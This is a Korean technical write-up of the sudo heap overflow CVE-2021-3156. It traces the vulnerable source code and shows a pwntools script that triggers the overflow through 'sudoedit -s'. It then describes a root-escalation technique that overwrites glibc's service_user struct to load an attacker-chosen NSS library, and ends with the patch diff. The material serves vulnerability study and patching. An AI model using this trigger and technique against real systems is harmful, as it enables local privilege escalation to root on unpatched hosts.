CVE-2021-3156
라온화이트햇 핵심연구팀 조진호
Sumarry
sudoedit
Detail
sudo명령어가 실행되면 shell모드(shell -c)가 된다. -s
명령을 이용하면 MODE_SHELL
플래그를 설정할 수 있고, 또는 -i
옵션을 이용하여 MODE_SHELL
과 MODE_LOGIN_SHELL
플래그를 설정할 수 있다.
215 /* Parse command line arguments. */
216 sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
217 &settings, &env_add);
218 sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);
MODE_SHELL
이라면 sudo가 main()
함수를 시작할 떄 parse_args()
가 argv를 rewrite하게 된다.
636 av = reallocarray(NULL, ac + 1, sizeof(char *));
637 if (av == NULL)
638 sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
639 if (!gc_add(GC_PTR, av))
640 exit(EXIT_FAILURE);
641
642 av[0] = (char *)user_details.shell; /* plugin may override shell */
643 if (cmnd != NULL) {
644 av[1] = "-c";
645 av[2] = cmnd;
646 }
647 av[ac] = NULL;
648
649 argv = av;
650 argc = ac;
651 }
argv, argc를 재할당한다.
608 if (argc != 0) {
609 /* shell -c "command" */
610 char *src, *dst;
611 size_t cmnd_size = (size_t) (argv[argc - 1] - argv[0]) +
612 strlen(argv[argc - 1]) + 1;
613
614 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
615 if (cmnd == NULL)
616 sudo_fatalx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
617 if (!gc_add(GC_PTR, cmnd))
618 exit(EXIT_FAILURE);
619
620 for (av = argv; *av != NULL; av++) {
621 for (src = *av; *src != '\0'; src++) {
622 /* quote potential meta characters */
623 if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
624 *dst++ = '\\';
625 *dst++ = *src;
626 }
627 *dst++ = ' ';
628 }
629 if (cmnd != dst)
630 dst--; /* replace last space with a NUL */
631 *dst = '\0';
632
633 ac += 2; /* -c cmnd */
634 }
조금 위로 올라가서 재할당 되는 문자열은 뒤의 문자들을 모두 합쳐서 만드는 것을 볼 수 있다. 합쳐서 cmnd
에 저장하고 그걸 argv
의 세번째 인자인 “command”로 넣는 것이다. 이 과정에서 다른 meta character를 처리한다 (L623)
917 static int
918 set_cmnd(void)
919 {
...
964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
965 /*
966 * When running a command via a shell, the sudo front-end
967 * escapes potential meta chars. We unescape non-spaces
968 * for sudoers matching and logging purposes.
969 */
970 for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
971 while (*from) {
972 if (from[0] == '\\' && !isspace((unsigned char)from[1]))
973 from++;
974 *to++ = *from++;
975 }
976 *to++ = ' ';
977 }
978 *--to = '\0';
979 } else {
...
나중에 sudoers_policy_main()
에서 set_cmnd()
함수를 이용해 명령어 인자를 힙 버퍼의 user_args
에 합친다. L972에서 backslash
를 찾고 그 다음 문자를 넣을 때 backslash
를 빼고 넣는 작업을 한다. 이는 위의 parse_args
함수에서 모든 meta character
에 backslash
가 붙었다는 가정하에 이뤄지는 작업니다. 여기서 만약 parse_args의 escape작업을 하지 않고 들어온다면 L971 ~ L975과정중에 OOB버그가 발생하게 된다.
964 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
그런데 여기까지 들어오려면 L964의 MODE_SHELL
이나 MODE_LOGIN_SHELL
이 세팅이 되어 있어야 한다. 그러나 MODE_SHELL
과 MODE_LOGIN_SHELL
이 세팅되어있으면 위의 parse_args
함수에서 meta character를 모두 체크하는 것을 확인했었다. 그러나 실제 parse_args
와 set_cmnd
의 조건을 보면 조금 다르다.
819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
set_cmnd
571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
parse_args
parse_args
는 MODE_RUN
과 MODE_SHELL
이 모두 세팅 되어있어야 하지만 set_cmnd
는 둘중 하나만 세팅되어있어도 가능하고, MODE_EDIT
이나 MODE_CHECK
를 사용할 수 있다.
case 'e':
if (mode && mode != MODE_EDIT)
usage_excl(1);
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
if ((flags & valid_flags) != flags)
usage(1);
MODE_EDIT
은 -e
옵션으로 parse_args
에서 사용 가능하다. 하지만 이떄 valid_flags
를 MODE_NONINTERACTIVE
로 세팅하기 때문에 에러가 뜬다. (usage
함수 실행시 exit)
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
그러나 프로그램 이름이 sudoedit이라면 MODE_EDIT
을 기본적으로 세팅하기 때문에 -s
옵션(MODE_SHELL
)을 사용하면 취약한 코드로 들어가되, parse_args
의 meta character를 삭제하는 부분을 들어가지 않게 된다.
#!/usr/bin/python3
from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
gdbscript = '''
c
'''
p = gdb.debug(["/usr/local/bin/sudoedit", "-s", "\\\\", "A" * 0x1000], gdbscript)
p.interactive()
➜ Workspace ./a.py
[+] Starting local process '/usr/bin/gdbserver': pid 5605
[*] running in new terminal: /usr/bin/gdb -q "/usr/bin/sudoedit" -x "/tmp/pwntvmjkl6t.gdb"
[*] Switching to interactive mode
malloc(): invalid size (unsorted)
정상적으로 트리거 된다. \\
로 다음 힙 청크의 사이즈를 조졌기 때문에 이런 에러가 난다.
gef➤ tel 0x5619fb3ce0c0
0x00005619fb3ce0c0│+0x0000: 0x0000000000000000
0x00005619fb3ce0c8│+0x0008: 0x0000000000001011
0x00005619fb3ce0d0│+0x0010: 0x4141414141414100
0x00005619fb3ce0d8│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce0e0│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce0e8│+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce0f0│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce0f8│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce100│+0x0040: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3ce108│+0x0048: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
gef➤ tel 0x5619fb3ce0c0+0x1010
0x00005619fb3cf0d0│+0x0000: 0x4141414141412041
0x00005619fb3cf0d8│+0x0008: 0x4141414141414141
0x00005619fb3cf0e0│+0x0010: 0x4141414141414141
0x00005619fb3cf0e8│+0x0018: 0x00005619fb3cc850 → 0x0000000000000000
0x00005619fb3cf0f0│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3cf0f8│+0x0028: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00005619fb3cf100│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
Exploit
exploit은 service_user
를 덮어써서 하는 방법이 있다. CTF처럼 힙을 조져서 하는 것 보다 깔끔하게 exploit이 된다.
//nss/nsswitch.h#L61
typedef struct service_user
{
/* And the link to the next entry. */
struct service_user *next;
/* Action according to result. */
lookup_actions actions[5];
/* Link to the underlying library object. */
service_library *library;
/* Collection of known functions. */
void *known;
/* Name of the service (`files', `dns', `nis', ...). */
char name[0];
} service_user;
service_user
는 nss_load_library
에서 사용되는 구조체이다. 이 구조체는 힙에 저장된다.
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
/* This service has not yet been used. Fetch the service
library for it, creating a new one if need be. If there
is no service table from the file, this static variable
holds the head of the service_library list made from the
default configuration. */
static name_database default_table;
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
if (ni->library == NULL)
return -1;
}
...
library가 null이라면 그대로 리턴한다.
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
하지만 library가 있을 경우 "libnss_" + name + ".so"
의 라이브러리를 불러오게 된다. service_user
의 library를 덮어서 null이 아니게 만들고 이름을 원하는 이름으로 바꿔서 특정 so파일을 dlopen
하게 만들 수 있다.
이제 해야될 것은 heap overflow할 수 있는 청크 뒤쪽에 저 service_user
구조체가 들어오게 하고 덮어쓰는 것이다. 이렇게 하려면 힙 청크를 free시켜야되는데 이때 사용되는 것이 LC_*환경변수이다. 이 환경변수들은 glibc내부에서 할당되고 사용하고 해제된다.
new = malloc (cumlen);
if (new == NULL)
return NULL;
p = new;
for (i = 0; i < __LC_LAST; ++i)
if (i != LC_ALL)
{
/* Add "CATEGORY=NAME;" to the string. */
const char *name = (category == LC_ALL ? newnames[i]
: category == i ? newnames[0]
: _nl_global_locale.__names[i]);
p = __stpcpy (p, _nl_category_names.str + _nl_category_name_idxs[i]);
*p++ = '=';
p = __stpcpy (p, name);
*p++ = ';';
}
p[-1] = '\0'; /* Clobber the last ';'. */
return new;
}
이를 이용해 service_user
가 할당되는 순간에 원하는 위치에 위치하도록 힙풍수를 맞춘다.
gef➤ tel 0x55b2eb3fbda0
0x000055b2eb3fbda0│+0x0000: 0x0000000000000000
0x000055b2eb3fbda8│+0x0008: 0x00000000000000f1
0x000055b2eb3fbdb0│+0x0010: 0x0000000000000000 ← $rbp, $r8
0x000055b2eb3fbdb8│+0x0018: 0x0000000000000000
0x000055b2eb3fbdc0│+0x0020: "e-langpack/en@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdc8│+0x0028: "ck/en@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdd0│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdd8│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbde0│+0x0040: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbde8│+0x0048: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
LC_*변수들이 사용되고 해제된 영역
gef➤ tel 0x55b2eb3fbda0
0x000055b2eb3fbda0│+0x0000: 0x0000000000000000
0x000055b2eb3fbda8│+0x0008: 0x00000000000000f1
0x000055b2eb3fbdb0│+0x0010: "YYYYYYYY" ← $r8
0x000055b2eb3fbdb8│+0x0018: 0x0000000000000000 ← $rbp
0x000055b2eb3fbdc0│+0x0020: "e-langpack/en@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdc8│+0x0028: "ck/en@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdd0│+0x0030: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbdd8│+0x0038: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbde0│+0x0040: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x000055b2eb3fbde8│+0x0048: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
해제된 영역에 쓰기 시작.
gef➤ tel $rdi
0x000055b2eb3fc350│+0x0000: "XXXXXXXXXXXXXXXX" ← $rbx, $rdi
0x000055b2eb3fc358│+0x0008: "XXXXXXXX"
0x000055b2eb3fc360│+0x0010: 0x0000000000000000
0x000055b2eb3fc368│+0x0018: 0x5858585858585800
0x000055b2eb3fc370│+0x0020: 0x0000000000000000
0x000055b2eb3fc378│+0x0028: 0x000055b2eb403960 → 0x000055b2eb410710 → 0x00007f2884d239d7 → "initgroups_dyn" ← $r14
0x000055b2eb3fc380│+0x0030: 0x0053005a00782f78 ("x/x"?)
service_user
구조체까지 덮어썼으며 name변수를 x/x
로 덮어썼다. 따라서 libnss_x/x.so.2
라이브러리를 import 하게된다. 이 라이브러리에 실행할 코드를 넣으면 성공적인 트리거가 가능하다.
Patch
commit 1f8638577d0c80a4ff864a2aad80a0d95488e9a8
Author: Todd C. Miller <Todd.Miller@sudo.ws>
Date: Sat Jan 23 08:43:59 2021 -0700
Fix potential buffer overflow when unescaping backslashes in user_args.
Also, do not try to unescaping backslashes unless in run mode *and*
we are running the command via a shell.
Found by Qualys, this fixes CVE-2021-3156.
commit b301b46b79c6e2a76d530fa36d05992e74952ee8
Author: Todd C. Miller <Todd.Miller@sudo.ws>
Date: Sat Jan 23 08:43:59 2021 -0700
Reset valid_flags to MODE_NONINTERACTIVE for sudoedit.
This is consistent with how the -e option is handled.
Also reject -H and -P flags for sudoedit as was done in sudo 1.7.
Found by Qualys, this is part of the fix for CVE-2021-3156.
취약한 함수의 패치는 위의 커밋에서 패치되었다.
diff --git a/plugins/sudoers/sudoers.c b/plugins/sudoers/sudoers.c
index d6eddd000..20f760bc6 100644
--- a/plugins/sudoers/sudoers.c
+++ b/plugins/sudoers/sudoers.c
@@ -547,7 +547,7 @@ sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
/* If run as root with SUDO_USER set, set sudo_user.pw to that user. */
/* XXX - causes confusion when root is not listed in sudoers */
- if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) {
+ if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) {
if (user_uid == 0 && strcmp(prev_user, "root") != 0) {
struct passwd *pw;
@@ -932,8 +932,8 @@ set_cmnd(void)
if (user_cmnd == NULL)
user_cmnd = NewArgv[0];
- if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
- if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) {
+ if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) {
+ if (!ISSET(sudo_mode, MODE_EDIT)) {
const char *runchroot = user_runchroot;
if (runchroot == NULL && def_runchroot != NULL &&
strcmp(def_runchroot, "*") != 0)
@@ -961,7 +961,8 @@ set_cmnd(void)
sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
debug_return_int(NOT_FOUND_ERROR);
}
- if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
+ if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) &&
+ ISSET(sudo_mode, MODE_RUN)) {
/*
* When running a command via a shell, the sudo front-end
* escapes potential meta chars. We unescape non-spaces
@@ -969,10 +970,22 @@ set_cmnd(void)
*/
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
- if (from[0] == '\\' && !isspace((unsigned char)from[1]))
+ if (from[0] == '\\' && from[1] != '\0' &&
+ !isspace((unsigned char)from[1])) {
from++;
+ }
+ if (size - (to - user_args) < 1) {
+ sudo_warnx(U_("internal error, %s overflow"),
+ __func__);
+ debug_return_int(NOT_FOUND_ERROR);
+ }
*to++ = *from++;
}
+ if (size - (to - user_args) < 1) {
+ sudo_warnx(U_("internal error, %s overflow"),
+ __func__);
+ debug_return_int(NOT_FOUND_ERROR);
+ }
*to++ = ' ';
}
*--to = '\0';
패치내용은 취약한 함수인 set_cmnd
를 패치하였으며, 잘못 설정되어있던 sudo_mode
플래그를 추가로 체크하고, heap overflow가 터졌던 from
을 to
에 넣는 반복분에서 검증 과정을 추가하였다.